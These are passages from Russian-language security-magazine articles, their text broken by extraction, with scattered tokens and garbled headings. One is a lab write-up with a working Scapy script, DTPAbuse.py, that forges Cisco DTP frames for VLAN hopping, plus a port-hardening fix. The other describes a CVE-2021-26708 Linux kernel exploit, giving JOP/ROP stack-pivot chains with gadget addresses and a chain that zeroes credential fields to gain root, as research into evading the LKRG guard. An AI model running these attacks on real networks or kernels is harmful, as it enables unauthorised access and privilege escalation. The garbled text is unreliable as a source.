 — в этом режиме порт не учас тву ет в про цес сах DTP. Он

не будет ни отправ лять кад ры DTP, ни при нимать их.

• Nonegotiate

Таб лица ком бинаций режимов пор тов DTP

Что бы не запутать ся в этих тер минах, я сде лал таб лицу ком бинаций режимов
DTP двух сосед них пор тов. Пос мотрев на дан ные в этой таб лице, ты навер- 
няка заметил, что если два сосед них пор та находят ся в режиме Dynamic Auto,
то они не смо гут обра зовать магис траль ный канал и оба пор та оста нут ся
в режиме Access. Дру гой при мер: если пер вый порт будет в режиме Dynamic
Auto, а вто рой порт в режиме Dynamic Desirable, то в конеч ном сче те обра- 
зует ся магис траль ный канал или же транк.

Кад ры DTP рас сыла ются через пор ты ком мутато ра каж дые 30 секунд.
И для их рас сылки исполь зует ся спе циаль ный муль тикас товый адрес 

. Если порт был скон фигури рован динами чес ки, то вре мя его
жиз ни — все го 300 секунд.

01:00:
0C:CC:CC:CC

Ин форма ция о DTP из кон соли Cisco IOS

INFO

Муль тикас товый адрес 
исполь зует ся не толь ко про токо лом DTP, но и
дру гими, нап ример CDP, VTP, PAgP, UDLD. Что бы
про токо лы мог ли отли чать ся друг от дру га
при отправ ке сво их объ явле ний по оди нако вому
муль тикас товому адре су, для них реали зова но
уни каль ное зна чение в заголов ке SNAP на уров не
LLC (Logical Link Control). Для DTP это зна чение
экви вален тно .

01:00:0C:CC:CC:CC

0x2004

Óÿçâèìîñòü

Суть уяз вимос ти зак люча ется в том, что про токол DTP вклю чен по умол чанию
на всех сов ремен ных ком мутато рах Cisco. При этом каж дый порт ком мутато ра
нас тро ен в режиме Dynamic Auto. То есть порт будет ожи дать ини циации
тран ка со сто роны соседа. Для успешно го про веде ния ата ки нам нуж но
физичес ки под клю чить ся к ком мутато ру и отпра вить спе циаль но под готов- 
ленный кадр DTP Desirable. Порт перек лючит ся в режим магис траль ного
канала, и мы смо жем получить дос туп ко всем сетям VLAN.

ÂÈÐÒÓÀËÜÍÀß ËÀÁÎÐÀÒÎÐÈß

В сво ей вир туаль ной лабора тории я исполь зовал плат форму вир туали зации
. Целевы ми устрой ства ми будут эму лиро ван ный

ком мутатор и мар шру тиза тор Cisco (Cisco IOL), вир туаль ные VPC из EVE-NG.
А в качес тве машины ата кующе го выс тупит ОС .

EVE-NG Community Edition

Kali Linux 2021.4

Сеть раз бита на два сег мента: это VLAN 10 и VLAN 30. За мар шру тиза цию
тра фика меж ду ними отве чает мар шру тиза тор R1. Так же на мар шру тиза торе
R1 нас тро ен DHCP-сер вер для авто мати чес кой выдачи адре сов устрой ствам.

На пор те ком мутато ра E1/0 SW1 до мар шру тиза тора R1 скон фигури рован
магис траль ный канал 802.1Q, который переда ет весь тегиро ван ный тра фик
сетей VLAN 10 и 30. Пор ты E0/1 и E0/2 нас тро ены в режиме Access и при над- 
лежат сво им сетям VLAN.

Ма шина ата кующе го под клю чена к пор ту ком мутато ра E1/1. Порт нас тро ен
по умол чанию в режиме Dynamic Auto для демонс тра ции экс плу ата ции уяз- 
вимос ти.

То поло гия вир туаль ной лабора тории

IP-адре сация вир туаль ной лабора тории

Продолжение статьи →

mailto:c0ldheim@protonmail.com


РАЗРУЛИВАЕМ DTP
КАК ВЗЛОМАТЬ ПРОТОКОЛ DTP

И СОВЕРШИТЬ ПОБЕГ В ДРУГУЮ СЕТЬ VLAN

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÊÀÑÒÎÌÍÀß ÝÊÑÏËÓÀÒÀÖÈß ÓßÇÂÈÌÎÑÒÈ 

 YERSINIAÁÅÇ ÈÑÏÎËÜÇÎÂÀÍÈß

В кон тек сте про веде ния ата ки я решил обой тись без популяр ного фрей мвор- 
ка . Одно дело, ког да ты прос то нажима ешь на нес коль ко кно пок,
руководс тву ясь сво им бэк гра ундом зна ний, и про изво дишь взлом, это что-то
из раз ряда «Just push the button and hack it». Сов сем дру гое дело, ког да ты
сам собира ешь свой инс тру мент по кусоч кам. Я счи таю, это даст более глу- 
бокое понима ние про цес са экс плу ата ции уяз вимос ти, что очень важ но.

Yersinia

Для экс плу ата ции этой уяз вимос ти DTP я исполь зовал связ ку Python
и , написав свой собс твен ный скрипт — . Ниже я раз беру

весь прог рам мный код скрип та, что бы ты понимал работу этой прог раммы
и про цесс экс плу ата ции.

Scapy DTPAbuse.py

Итак, нач нем.

   from scapy.all import *
   from scapy.contrib.dtp import *
 import argparse

В этой час ти, я думаю, никаких воп росов воз никнуть не дол жно. Мы под клю- 
чаем биб лиоте ку Scapy, модуль для работы с про токо лом DTP и модуль

, что бы сде лать скрипт парамет ризован ным. То есть скрипт будет

при нимать на вход вве ден ный поль зовате лем аргу мент.

argparse

  cisco_multicast = "01:00:0C:CC:CC:CC"

Соз даем перемен ную  и переда ем в нее адрес муль тикас- 

товой рас сылки Cisco.

cisco_multicast

 def get_arguments():
   parser = argparse.ArgumentParser()

    
 
parser.add_argument("-i", dest="interface", type=str, required=True

, help="Choose the interface to attack")

   args = parser.parse_args()
  return args

Фун кция  пар сит вве ден ные поль зовате лем вхо дящие аргу- 

мен ты и отправ ляет дан ные в перемен ную . В качес тве вход ных

дан ных скрипт будет при нимать сетевой интерфейс для ата ки.

get_arguments
interface

  def negotiate_trunk(interface=conf.iface, mymac=str(RandMAC())):
    dtp_frame = Dot3(src=mymac, dst=cisco_multicast)
        

  
dtp_frame /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)/SNAP(OUI=0x0c,

code = 0x2004)
     dtp_frame /= DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),
DTPNeighbor(neighbor=mymac)])
     sendp(dtp_frame, iface=args.interface, inter=3, loop=1, verbose=1)

Фун кция  при нима ет на вход сетевой интерфейс и MAC-

адрес. MAC-адрес пусть будет ран домизи рован ным.

negotiate_trunk

Да лее рас положен код под фун кци ей , который собира- 

ет кадр DTP Desirable.

negotiate_trunk

   dtp_frame = Dot3(src=mymac, dst=cisco_multicast)

В кад ре Ethernet  я ука зываю MAC-адрес источни ка наз начения. Адре сом

наз начения будет слу жить адрес муль тикас товой рас сылки Cisco.

Dot3

       dtp_frame /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)/SNAP(OUI=0x0c, code =
0x2004)

Так же понадо бит ся добавить слои  и . Зна чени ем  в заголов ке

 ука жем, что это DTP-кадр.

LLC SNAP 0x2004
SNAP

  dtp_frame /= DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),
DTPNeighbor(neighbor=mymac)])

Со бира ем кадр DTP, все парамет ры оста вим по умол чанию, кро ме
. Перемен ной  переда дим MAC-адрес источни ка.

Почему-то в Scapy в дефол тном кад ре DTP по умол чанию хра нят ся все необ- 
ходимые зна чения, что бы соб рать имен но кадр DTP Desirable. Я не знаю,
с чем это свя зано, но это сыг рает нам на руку: сэконо мим вре мя. Поэто му мы
оста вили парамет ры DTP по умол чанию (за исклю чени ем ).

DTPNeighbor neighbor

DTPNeighbor

Струк тура дефол тно го кад ра DTP в Scapy

Те перь давай сос редото чим ся на хра нящих ся там самых важ ных заголов ках
и не менее важ ных зна чени ях:

 — зна чение заголов ка, ука зыва ющее на исполь- 
зование инкапсу ляции 802.1Q;

• DTPType = '\xa5'

 — зна чение заголов ка, ука зыва ющее на ста тус
DTP-кад ра. Это ста тус , то, что нам нуж но для ини циации тран- 
ка.

• DTPStatus = '\x03'
Desirable

    sendp(dtp_frame, iface=args.interface, inter=3, loop=1, verbose=1)

Да лее необ ходимо отпра вить соб ранный кадр. Пос коль ку мы зна ем, что
динами чес кий транк про дер жится все го 300 секунд, зацик лим отправ ку это го
кад ра с интерва лом в 3 секун ды.

  args = get_arguments()
negotiate_trunk(args.interface)

Ну и пос ледние час ти скрип та. Переда ем вво димые поль зовате лем аргу мен- 
ты в перемен ную  и вызыва ем фун кцию . Затем

вызыва ем фун кцию , подав на вход вве ден ный поль зовате- 

лем интерфейс.

args get_arguments()
negotiate_trunk

«Ске лет» соб ранно го кад ра DTP

Ýêñïëóàòàöèÿ

За пус каем сетевой сниф фер Wireshark и прос лушива ем тра фик на наличие
кад ров DTP.

Дамп тра фика из Wireshark

Ви дим, что ком мутатор вос про изво дит рас сылку кад ров DTP на порт,
к которо му под клю чена машина с Kali Linux. Исхо дя из информа ции, хра- 
нящей ся в заголов ках DTP, мы можем сме ло заявить, что порт ком мутато ра
нас тро ен в режиме Dynamic Auto.

Ин форма ция о ста тусе пор та DTP

Те перь запус каем наш скрипт .DTPAbuse.py

За пуск скрип та DTPAbuse.py

От прав ленный кадр DTP Desirable

На скрин шоте выше мы видим, что скрипт генери рует необ ходимый нам кадр
DTP Desirable. Если теперь мы вой дем в панель управле ния ком мутато ра SW1,
то уви дим сле дующее.

Порт E1/1 пре обра зовал ся в динами чес кий транк

Порт ком мутато ра, к которо му под клю чена машина ата кующе го, перек лючил- 
ся в режим магис траль ного канала. Теперь мы можем прос лушивать тра фик
всех сетей VLAN.

Прос лушива ние тра фика пос ле экс плу ата ции

Ïîáåã â äðóãóþ ñåòü VLAN

Те перь у нас есть воз можность «прыг нуть» в дру гую VLAN-сеть, так как порт
ком мутато ра, к которо му мы под клю чены, находит ся в режиме магис траль- 
ного канала. Для это го нуж но соз дать вир туаль ный интерфейс VLAN на нашем
сетевом адап тере, наз начить VLAN ID и IP-адрес.

INFO

Эта ата ка носит аль тер натив ное наз вание VLAN
Hopping.

Но отку да нам взять VLAN ID? Пос коль ку мы в сос тоянии прос лушивать тра- 
фик всех сетей VLAN, мы можем изу чить кад ры STP и извлечь отту да
информа цию об иден тифика торе VLAN. Нап ример, в нашем слу чае мы уви- 
дим, что ком мутатор SW1 — это кор невой ком мутатор для сетей VLAN
10 и VLAN 30.

Ин форма ция из заголов ка 802.1Q о VLAN 10

Ин форма ция из заголов ка 802.1Q о VLAN 30

Соз дадим вир туаль ные интерфей сы VLAN и наз начим тег VLAN ID.

Соз дание вир туаль ных интерфей сов VLAN

Те перь под нимем их и зап росим адрес по DHCP.

Ак тивация вир туаль ных интерфей сов VLAN

Ус пешное получе ние адре сов по DHCP

Те перь мы можем вза имо дей ство вать с хос тами, находя щими ся в сетях VLAN
10 и 30. Для наг ляднос ти отправ лю зап росы ICMP к машинам Workstation
и Fileshare Server.

Ус пешное про хож дение зап росов ICMP

ÇÀÙÈÒÀ

Что бы защитить ком мутато ры в сети от этой ата ки на про токол DTP, необ- 
ходимо перевес ти в режим дос тупа все пор ты, куда под клю чают ся рабочие
стан ции, и вык лючить про токол DTP на пор тах. Весь ма лег кая задача, сог- 
ласись? При веду при мер нас трой ки на пор те ком мутато ра, куда была под- 
клю чена машина ата кующе го.

Сна чала переве дем порт в режим дос тупа коман дой 

, а затем отклю чим DTP на пор те коман дой :

switchport mode 
access switchport nonegotiate

SW1(config)#interface ethernet 1/1
SW1(config-if)#switchport mode access
SW1(config-if)#switchport nonegotiate

Те перь эта ата ка неосу щес тви ма, так как пор ты боль ше не реаги руют
на несан кци они рован ные кад ры DTP.

ÂÛÂÎÄ

В этой статье я разоб рал сце нарий взло ма про токо ла DTP и ком про мета ции
сетей VLAN. Лич но я счи таю, что исполь зование DTP в рам ках про дак шена —
это явный при мер некачес твен ного дизай на сети, ибо магис траль ные каналы
a.k.a тран ки дол жны быть там и толь ко там, где это зап ланиро вано. Конеч но,
сетевой адми нис тра тор сэконо мит какое-то вре мя на нас трой ке магис траль- 
ных каналов с исполь зовани ем DTP, но это не сто ит того, что бы поль зовать ся
столь небезо пас ным решени ем в сети. И очень жаль, что кон фигура цию это го
про токо ла дос таточ но час то оставля ют без дол жно го вни мания. Но теперь ты
зна ешь, что делать!

https://www.kali.org/tools/yersinia/
https://scapy.net/
https://github.com/C0ldheim/NetworkExploitation/blob/main/DTPAbuse.py
https://github.com/C0ldheim/NetworkExploitation/blob/main/DTPAbuse.py
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ВЗЛОМ

В янва ре 2021 года я нашел и устра нил пять уяз вимос тей
в ядре Linux, которые получи ли общий иден тифика тор 

. В этой статье я рас ска жу, как я дорабо тал свой
про тотип экс пло ита и с его помощью иссле довал средс тво
защиты  (LKRG) с позиции ата- 
кующе го. Мы погово рим о том, как мне уда лось най ти новый
метод обхо да защиты LKRG и как я выпол нил ответс твен ное
раз гла шение резуль татов сво его иссле дова ния.

CVE-
2021-26708

Linux Kernel Runtime Guard

Ле том я  по этой теме на кон ферен ции ZeroNights 2021.выс тупил с док ладом

WWW

Слай ды док лада в PDF
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В  я опи сал про тотип экс пло ита для локаль ного повыше- 
ния при виле гий на  для плат формы . Я рас ска зал,

как сос тояние гон ки в реали зации вир туаль ных сокетов ядра Linux может при- 
вес ти к пов режде нию четырех бай тов ядер ной памяти. Я показал, как ата- 
кующий может шаг за шагом прев ратить эту ошиб ку в про изволь ное чте- 
ние-запись памяти ядра и повысить свои при виле гии в сис теме. Но некото- 
рые огра ниче ния это го спо соба повысить при виле гии мешали мне экспе- 
римен тировать в сис теме под защитой LKRG. Я решил про дол жить иссле- 
дова ние и выяс нить, мож но ли их устра нить.

пре дыду щей статье
Fedora 33 Server x86_64

Мой про тотип экс пло ита выпол нял про изволь ную запись с помощью
перех вата потока управле ния при вызове дес трук тора  в ата- 

кован ном ядер ном объ екте .

destructor_arg
sk_buff

Этот дес трук тор име ет сле дующий про тотип:

     void (*callback)(struct ubuf_info *, bool zerocopy_success);

Ког да ядро вызыва ет его в фун кции , регистр  содер жит

пер вый аргу мент фун кции. Это адрес самой струк туры . А регистр

 хра нит еди ницу в качес тве вто рого аргу мен та фун кции.

skb_zcopy_clear() RDI
ubuf_info

RSI
Со дер жимое этой струк туры  кон тро лиру ется экс пло итом.

Одна ко пер вые восемь бай тов в ней дол жны быть заняты адре сом фун- 
кции-дес трук тора, как вид но на схе ме. В этом и есть основное огра ниче ние.
Из-за него ROP-гад жет для перек лючения ядер ного сте ка на кон тро лиру емую
область памяти (stack pivoting) дол жен выг лядеть при мер но так:

ubuf_info

       mov rsp, qword ptr [rdi + 8] ; ret

К сожале нию, ничего похоже го в ядре Fedora 

 обна ружить не уда лось. Но зато с помощью  я нашел такой

гад жет, который удов летво ряет этим огра ниче ниям и выпол няет запись ядер- 
ной памяти вооб ще без перек лючения ядер ного сте ка:

vmlinuz-5.10.11-200.fc33.
x86_64 ROPgadget

       mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret

Как ска зано выше,  — это адрес ядер ной памяти, содер жимое

которой кон тро лиру ет ата кующий. В регис тре  содер жится еди ница, а в

 — ноль. То есть этот гад жет записы вает семь нулевых бай тов и один байт
с еди ницей по адре су, который зада ет ата кующий. Как выпол нить повыше ние
при виле гий про цес са с помощью это го ROP-гад жета? Мой про тотип экс пло- 
ита записы вает ноль в поля , ,  и  струк- 
туры .

RDI + 8
RSI

RCX

uid gid effective uid effective gid
cred

Мне уда лось при думать хоть и стран ный, но впол не рабочий экс пло- 
ит-при митив. При этом я не был пол ностью удов летво рен этим решени ем,
потому что оно не давало воз можнос ти пол ноцен ного ROP. Кро ме того, при- 
ходи лось выпол нять перех ват потока управле ния дваж ды, что бы переза- 
писать все необ ходимые поля в . Это делало про тотип экс пло- 
ита менее надеж ным. Поэто му я решил нем ного отдохнуть и про дол жить
иссле дова ние.

struct cred

ÐÅÃÈÑÒÐÛ ÏÎÄ ÊÎÍÒÐÎËÅÌ ÀÒÀÊÓÞÙÅÃÎ

Пер вым делом я решил еще раз пос мотреть на сос тояние регис тров про цес- 
сора в момент перех вата потока управле ния. Я пос тавил точ ку оста нова
в фун кции , которая вызыва ет обра бот чик 

из :

skb_zcopy_clear() callback
destructor_arg

 

 

 
gdb-peda  break ./include/linux/skbuff.h:1481
$ gdb vmlinux

targetremote : 1234gdb − peda

Вот что отладчик показы вает пря мо перед перех ватом потока управле ния.

Ка кие ядер ные адре са хра нят ся в регис трах про цес сора?  и  содер жат
адрес . Разыме нова ние это го ука зате ля дает ука затель на фун кцию

, который заг ружен в регистр . В регис тре  содер жится

некото рый ука затель на память в ядер ном сте ке (его зна чение близ ко к зна- 
чению ). В регис трах  и  находят ся какие-то адре са памяти в ядер- 

ной куче, и мне не уда лось выяс нить, на какие объ екты они ссы лают ся.

RDI R8
ubuf_info

callback RAX R9

RSP R12 R14

А вот регистр , как ока залось, содер жит адрес .
Это адрес моего объ екта  плюс отступ , который

равен  или  (боль ше деталей в ). Этот адрес дал

мне надеж ду на успех, потому что он ука зыва ет на память, содер жимое
которой находит ся под кон тро лем экс пло ита. Я начал искать ROP/JOP-гад- 
жеты, исполь зующие .

RBP skb_shared_info
sk_buff SKB_SHINFO_OFFSET

3776 0xec0 пре дыду щей статье

RBP

Èñ÷åçàþùèå JOP-ãàäæåòû

Я стал прос матри вать все дос тупные гад жеты с учас тием  и нашел мно- 

жес тво JOP-гад жетов, похожих на этот:

RBP

     0xffffffff81711d33 : xchg eax, esp ; jmp qword ptr [rbp + 0x48]

Ад рес  так же ука зыва ет на ядер ную память под кон тро лем ата- 
кующе го. Я понял, что могу выпол нить stack pivoting с помощью 

, пос ле чего выпол нить пол ноцен ную ROP-цепоч ку.

Отлично!

RBP + 0x48
öå ïî÷ êè

òàêèõ JOP-ãàä æåòîâ

Для быс тро го экспе римен та я взял этот гад жет:

   xchg eax, esp ; jmp qword ptr [rbp + 0x48]

Он перек люча ет ядер ный стек на память в поль зователь ском прос транс тве.
Сна чала я удос товерил ся, что гад жет дей стви тель но находит ся в коде ядра:

 

 

 

 

$ gdb vmlinux

gdb-peda$ disassemble 0xffffffff81711d33 
Dump of assembler code for function acpi_idle_lpi_enter: 
   0xffffffff81711d30 <+0>: call   0xffffffff810611c0 < > 
   0xffffffff81711d35 <+5>: mov    rcx,QWORD PTR gs:[rip+0x7e915f4b] 
   0xffffffff81711d3d <+13>:    test   rcx,rcx 
   0xffffffff81711d40 <+16>:    je     0xffffffff81711d5e 

fentry

gdb-peda$ x/2i 0xffffffff81711d33 
   0xffffffff81711d33 :  xchg   esp,eax 
   0xffffffff81711d34 :  jmp    QWORD PTR [rbp+0x48]

Так и есть. Код фун кции  начина ется с адре са
, и гад жет отоб ража ется, если смот реть на код этой

фун кции с трех бай товым отсту пом.

acpi_idle_lpi_enter()
0xffffffff81711d30

Од нако, ког да я поп робовал выпол нить этот гад жет при перех вате потока
управле ния, ядро неожи дан но выдало отказ стра ницы (page fault). Я стал
отла живать эту ошиб ку и заод но спро сил моего дру га ,
извес тно го иссле дова теля безопас ности Linux, не стал кивал ся ли он с таким
эффектом. Андрей обра тил вни мание, что бай ты кода, которые рас печата ло
ядро, отли чались от вывода ути литы  для исполня емо го фай ла ядра.

Ан дрея Конова лова

objdump

Это был пер вый слу чай в моей прак тике с ядром Linux, ког да дамп кода
в ядер ном жур нале ока зал ся полезен. Я под клю чил ся отладчи ком к работа- 
юще му ядру и обна ружил, что код фун кции  дей стви- 
тель но изме нил ся:

acpi_idle_lpi_enter()

 

 

 

 

 
gdb-peda$ target remote :1234
$ gdb vmlinux

gdb-peda$ disassemble 0xffffffff81711d33 
Dump of assembler code for function acpi_idle_lpi_enter: 
   0xffffffff81711d30 <+0>: nop    DWORD PTR [rax+rax*1+0x0] 
   0xffffffff81711d35 <+5>: mov    rcx,QWORD PTR gs:[rip+0x7e915f4b] 
   0xffffffff81711d3d <+13>:    test   rcx,rcx 
   0xffffffff81711d40 <+16>:    je     0xffffffff81711d5e 

gdb-peda$ x/2i 0xffffffff81711d33 
   0xffffffff81711d33 :  add    BYTE PTR [rax],al 
   0xffffffff81711d35 :  mov    rcx,QWORD PTR gs:[rip+0x7e915f4b]

На самом деле ядро Linux может модифи циро вать собс твен ный код в момент
исполне ния. В этом кон крет ном слу чае код фун кции 

был изме нен механиз мом . Он так же испортил
мно жес тво дру гих JOP-гад жетов, на которые я рас счи тывал! Что бы не стол- 
кнуть ся с этим сно ва, я решил поп робовать искать нуж ные ROP/JOP-гад жеты
в памяти ядра живой вир туаль ной машины.

acpi_idle_lpi_enter()
CONFIG_DYNAMIC_FTRACE

Ев гений Кор неев. Пор трет ака деми ка Л. К. Богуша. 1980

Сна чала я опро бовал коман ду  из инс тру мен та , но у нее

ока залась слиш ком огра ничен ная фун кци ональ ность. Тог да я зашел с дру гой
сто роны и сде лал сни мок всей области памяти с ядер ным кодом с помощью
коман ды . В пер вую оче редь нуж но было опре делить рас- 

положе ние ядер ного кода в памяти:

ropsearch gdb-peda

gdb-peda dumpmem

 

 

 
ffffffff81000000 T _text 

 
ffffffff81e026d7 T _etext

[root@localhost ~]# grep "_text" /proc/kallsyms

[root@localhost ~]# grep "_etext" /proc/kallsyms

За тем я сде лал сни мок памяти меж ду адре сами  и :_text _etext

 

 

gdb-peda$ dumpmem kerndump 0xffffffff81000000 0xffffffff81e03000 
Dumped 14692352 bytes to 'kerndump'

Пос ле это го я при менил к получен ному фай лу ути литу . Она

может искать ROP/JOP-гад жеты в сыром сним ке памяти, если задать допол- 
нитель ные опции (спа сибо за под сказ ку моему дру гу ,
извес тно му иссле дова телю безопас ности железа):

ROPgadget

Мак симу Горяче му

 

 

# ./ROPgadget.py --binary kerndump --rawArch=x86 --rawMode=64 > 
rop_gadgets_5.10.11_kerndump

Те перь я был готов сос тавить JOP/ROP-цепоч ку.

JOP/ROP-ÖÅÏÎ×ÊÀ ÄËß STACK PIVOTING

Я изу чил гад жеты с регис тром , которые оста лись в памяти живой машины

с уче том , и смог сос тавить такую JOP/ROP-цепоч ку

для перек лючения ядер ного сте ка на кон тро лиру емую мной область памяти:

RBP
CONFIG_DYNAMIC_FTRACE

/* JOP/ROP gadget chain for stack pivoting: */

/* mov ecx, esp ; cwde ; jmp qword ptr [rbp + 0x48] */
#define STACK_PIVOT_1_MOV_ECX_ESP_JMP       (0xFFFFFFFF81768A43lu + 
kaslr_offset)

/* push rdi ; jmp qword ptr [rbp - 0x75] */
#define STACK_PIVOT_2_PUSH_RDI_JMP      (0xFFFFFFFF81B5FD0Alu + 
kaslr_offset)

/* pop rsp ; pop rbx ; ret */
#define STACK_PIVOT_3_POP_RSP_POP_RBX_RET   (0xFFFFFFFF8165E33Flu + 
kaslr_offset)

1. Пер вый JOP-гад жет сох раня ет млад шие 32 бита регис тра  (ука затель
на стек) в регис тре  и затем совер шает пры жок по адре су, ука зыва- 
юще му на сле дующий гад жет. Это дей ствие важ но, потому что экс пло ит
в кон це дол жен будет вос ста новить исходное зна чение . К сожале нию,
в обра зе ядра не наш лось ана логич ного гад жета, который сох ранил бы
зна чение  пол ностью. Тем не менее я нашел спо соб обой тись его
полови ной. Про этот трюк рас ска жу даль ше.

RSP
ECX

RSP

RSP

2. Вто рой JOP-гад жет помеща ет в ядер ный стек адрес  из регис- 
тра , пос ле чего так же совер шает пры жок по адре су, ука зыва юще му
на сле дующий гад жет.

ubuf_info
RDI

3. На конец, зак лючитель ный ROP-гад жет записы вает адрес струк туры
 в сте ковый ука затель. Затем он выпол няет инс трук цию 

, которая добав ляет восемь бай тов к зна чению . Тем самым сте- 
ковый ука затель сдви гает ся с адре са пер вого JOP-гад жета, который хра- 
нит ся в начале струк туры  (как было опи сано выше). Теперь
в  содер жится адрес начала ROP-цепоч ки, исполне ние которой нач- 
нется пос ле инс трук ции . Отлично!

ubuf_info pop 
rbx RSP

ubuf_info
RSP

ret

Вот как экс пло ит готовит эту цепоч ку в памяти для переза писи ядер ного объ- 
екта :sk_buff

/* mov ecx, esp ; cwde ; jmp qword ptr [rbp + 0x48] */
  uinfo_p->callback = STACK_PIVOT_1_MOV_ECX_ESP_JMP;

        
  

unsigned long *jmp_addr_1 = (unsigned long *)(xattr_addr +
SKB_SHINFO_OFFSET + 0x48);
/* push rdi ; jmp qword ptr [rbp - 0x75] */

  *jmp_addr_1 = STACK_PIVOT_2_PUSH_RDI_JMP;

        
  

unsigned long *jmp_addr_2 = (unsigned long *)(xattr_addr +
SKB_SHINFO_OFFSET - 0x75);
/* pop rsp ; pop rbx ; ret */

  *jmp_addr_2 = STACK_PIVOT_3_POP_RSP_POP_RBX_RET;

ROP-ÖÅÏÎ×ÊÀ ÄËß ÏÎÂÛØÅÍÈß ÏÐÈÂÈËÅÃÈÉ

Пос ле того как я спра вил ся с перек лючени ем ядер ного сте ка на кон тро лиру- 
емую мной область памяти, я быс тро соб рал ROP-цепоч ку для повыше ния
при виле гий:

        
  

unsigned long *rop_gadget = (unsigned long *)(xattr_addr +
MY_UINFO_OFFSET + 8);

   int i = 0;

#define ROP_POP_RAX_RET         (0xFFFFFFFF81015BF4lu + kaslr_offset)
#define ROP_MOV_QWORD_PTR_RAX_0_RET (0xFFFFFFFF8112E6D7lu + 
kaslr_offset)

/* 1. Perform privilege escalation */
  rop_gadget[i++] = ROP_POP_RAX_RET;      /* pop rax ; ret */
    rop_gadget[i++] = owner_cred + CRED_UID_GID_OFFSET;
    rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [

rax], 0 ; ret */
  rop_gadget[i++] = ROP_POP_RAX_RET;      /* pop rax ; ret */
    rop_gadget[i++] = owner_cred + CRED_EUID_EGID_OFFSET;
    rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [

rax], 0 ; ret */

Тут доволь но прос то. Ядер ный адрес  был получен экс пло итом
с помощью про изволь ного чте ния ядер ной памяти (все под робнос ти в 

). Пред став ленная часть ROP-цепоч ки исполь зует этот адрес,
что бы переза писать зна чение , ,  и 
нулем, что дает при виле гии супер поль зовате ля.

owner_cred
пре- 

дыду щей статье
uid gid effective uid effective gid

Да лее ROP-цепоч ка дол жна вос ста новить исходное зна чение регис тра
 и про дол жить исполне ние сис темно го вызова как ни в чем не бывало.

Как у меня получи лось это сде лать? Млад шие 32 бита изна чаль ного сте ково- 
го ука зате ля были сох ранены в регис тре . А стар шие 32 бита мож но

извлечь из зна чения регис тра , так как в нем хра нит ся некото рый адрес

из ядер ного сте ка (это было показа но выше на выводе отладчи ка). Нем ного
битовой ариф метики — и готово:

RSP

RCX
R9

#define ROP_MOV_RAX_R9_RET      (0xFFFFFFFF8106BDA4lu + kaslr_offset)
#define ROP_POP_RDX_RET         (0xFFFFFFFF8105ED4Dlu + kaslr_offset)
#define ROP_AND_RAX_RDX_RET     (0xFFFFFFFF8101AD34lu + kaslr_offset)
#define ROP_ADD_RAX_RCX_RET     (0xFFFFFFFF8102BA35lu + kaslr_offset)
#define ROP_PUSH_RAX_POP_RBX_RET    (0xFFFFFFFF810D64D1lu + 
kaslr_offset)
#define ROP_PUSH_RBX_POP_RSP_RET    (0xFFFFFFFF810749E9lu + 
kaslr_offset)

/* 2. Restore RSP and continue */
  rop_gadget[i++] = ROP_MOV_RAX_R9_RET;       /* mov rax, r9 ; ret */
  rop_gadget[i++] = ROP_POP_RDX_RET;      /* pop rdx ; ret */
  rop_gadget[i++] = 0xffffffff00000000lu;
  rop_gadget[i++] = ROP_AND_RAX_RDX_RET;      /* and rax, rdx ; ret */
  rop_gadget[i++] = ROP_ADD_RAX_RCX_RET;      /* add rax, rcx ; ret */
   rop_gadget[i++] = ROP_PUSH_RAX_POP_RBX_RET; /* push rax ; pop rbx ; 

ret */
   rop_gadget[i++] = ROP_PUSH_RBX_POP_RSP_RET; /* push rbx ; add eax, 

0x415d0060 ; pop rsp ; ret*/

Здесь зна чение регис тра  копиру ется в . Затем битовая мас ка

 сох раня ется в  и побито вая опе рация  выпол- 
няет ся для  и . В резуль тате  содер жит стар шие биты исходно го

сте ково го ука зате ля, к которым нуж но при бавить млад шие биты из .

Резуль тат заг ружа ется в регистр  через  (мне приш лось сде лать так,
потому что в памяти машины не наш лось гад жета типа ).

R9 RAX
0xffffffff00000000 RDX AND

RAX RDX RAX
RCX

RSP RBX
mov rsp, rax ; ret

Фи наль ная инс трук ция  воз вра щает управле ние из ROP-цепоч ки.

За счет акку рат но вос ста нов ленно го зна чения  ядро про дол жает обра бот- 
ку сис темно го вызова , одна ко экс пло ит уже выпол няет ся с при виле- 

гиями поль зовате ля .

RET
RSP

recv()
root

Продолжение статьи →
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ПРОВЕРКА

НА ПРОЧНОСТЬ
КАК Я ИССЛЕДОВАЛ ЗАЩИТУ LKRG

С ПОМОЩЬЮ УЯЗВИМОСТИ В ЯДРЕ LINUX

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÂÅÐÈÒÜ LKRG ÍÀ ÏÐÎ×ÍÎÑÒÜ

 (LKRG) — это очень инте рес ный про ект. Он пре- 
дос тавля ет ядер ный модуль, который в про цес се работы сис темы про веря ет
целос тность ядра и про тиво дей ству ет экс плу ата ции уяз вимос тей в нем. 

 по харак терным дей стви ям и пов режде нию
опре делен ных дан ных. LKRG обна ружи вает:

Linux Kernel Runtime Guard

LKRG
выяв ляет ядер ные экс пло иты

не сан кци они рован ное повыше ние при виле гий через вызов фун кции
 или с помощью переза писи ;

•
commit_creds() struct cred
на руше ние изо ляции про цес са и выход из namespace;•
не сан кци они рован ное изме нение сос тояния про цес сора (нап ример,
отклю чение  и  на );

•
SMEP SMAP x86_64

неп равомер ное изме нение дан ных в сек циях  и  ядра Linux;• .text .rodata
вы пол нение при емов stack pivoting и ROP и еще мно гое дру гое.•

Этот про ект  ком пани ей Openwall. Основной раз работ чик —
, который занима ется про ектом в сво бод ное вре мя.

Сей час LKRG пос тавля ется в бета-вер сии, при этом раз работ чики ста рают ся
под держи вать высокую надеж ность и пор тиру емость меж ду раз личны ми вер- 
сиями ядра. Вот что Адам говорит о про екте:

под держи вает ся
Адам «pi3» Заб роцки

«
»

We are aware that LKRG is bypassable by design (as we have always

spoken openly) but such bypasses are neither easy nor cheap/reliable.

Пе рево жу это так:

«

»

Ìû çíà åì, ÷òî çàùèòó LKRG ìîæ íî îáîé òè (î ÷åì ìû âñåã äà îòêðû òî

